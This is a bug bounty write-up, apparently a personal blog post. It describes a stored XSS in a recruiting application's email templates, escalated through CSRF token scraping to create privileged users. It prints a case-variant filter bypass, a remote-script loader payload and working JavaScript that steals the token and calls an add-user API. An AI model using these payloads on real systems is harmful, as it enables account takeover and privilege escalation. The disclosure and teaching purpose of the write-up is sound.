The target and initial discovery

The target was an external recruiting application with multiple roles: Admin, Manager and Staff. The application allowed users to create templates for email outreach. Templates had a title and a body field and supported inserting links. While testing template inputs I noticed link insertion behaved oddly.

I tried typical payloads such as javascript:alert() and received validation errors stating invalid syntax. After multiple attempts and case variations, I was able to store a link with javascripT:alert(1). The payload did not execute inside the template editor or in the composer, so at first it seemed harmless.

Where the XSS actually fired

The application echoed certain outgoing emails into an Activity feed. When that echo rendered the stored template the javascripT: link executed. If you select visible text in the template body and attach a link, the malicious href is hidden behind normal-looking text. The rendered content appears benign while the underlying link is a payload.

setting xss payload behind text
Hiding the XSS payload behind selected text in the template body.
xss firing in activity
Stored XSS firing when the echoed email appears in Activity.

Escalation plan: CSRF token scraping

Cookies were set with the HttpOnly flag, so stealing document cookies using JavaScript was not possible. The plan was to steal CSRF tokens from admin pages and make requests from the victim's browser. Because the victim's browser would be on the same origin, cookies and session credentials would be sent automatically with those requests. In short, the exploit would run inside a privileged user's browser, extract the CSRF token and then call privileged APIs using the victim's session.

The attack steps were as follows:

  1. Store an XSS payload that loads a remote script when a privileged user clicks it in Activity.
  2. The remote script requests a protected admin page containing a CSRF token in its HTML.
  3. The script parses the HTML, extracts the CSRF token, and issues a POST to the add-user API including the token and allowing the browser to send cookies automatically.
  4. A new Manager or Admin user is created and the attacker can log in with those credentials.

The exploit code

The hosted exploit first fetched the admin "add" page, parsed the CSRF token from the HTML and then posted to the user creation endpoint using credentials: 'include'.

      
JavaScript
function readBody(xhr) { var data; if (!xhr.responseType || xhr.responseType === "text") { data = xhr.responseText; } else if (xhr.responseType === "document") { data = xhr.responseXML; } else { data = xhr.response; } var parser = new DOMParser(); var resp = parser.parseFromString(data, "text/html"); token = resp.getElementsByName('_csrf')[0].content; // grab first available token csrf(token); return data; } var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == 4) { response = readBody(xhr); } }; xhr.open('GET', 'https://target.com/admin/add', true); xhr.send(null); function csrf(token) { fetch('https://target.com/api/add.action', { method: 'POST', headers: { 'Accept': 'application/json, text/plain, */*', 'X-Csrf-Token': token, 'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8', 'Referer': 'https://target.com/admin/add' }, credentials: 'include', body: 'firstName=hacker&lastName=r29k&emailId=r29k%40gmail.com&phoneNo=&Permissions=1' }); }

The stored payload used to load the hosted exploit was a single-line loader that appended a remote script tag:

      
XSS Payload
javascript:var s=document.createElement('script');s.type='text/javascript';s.src='https://myserver/file.js';document.head.appendChild(s);

Execution and outcome

The Activity echo is visible to Managers and Admins. When a Manager clicked the echoed email the hosted script executed in their browser. It fetched the admin add page, extracted the CSRF token and posted the add-user request using the Manager's session. A new user with Manager privileges was created and the attacker obtained the credentials.

After my Admin account was unlocked I executed the same exploit and created an Admin-level user. The issue was reported and validated by the vendor. The bounty awarded was one thousand US dollars.

Responsible disclosure and credits

I submitted a detailed report including the PoC and mitigation suggestions. Credit for exploit assistance goes to Neolex.

Mitigations and recommendations

Final notes

Stored XSS that looks harmless in the editor can be a powerful escalation vector when rendered into privileged UIs. Small behaviors such as permitting odd href casing or echoing templates back into an Activity feed can lead to account takeover quickly once the chain is assembled.

If you have questions or feedback, DM me on LinkedIn Sheraz Khalid. Thank you for reading.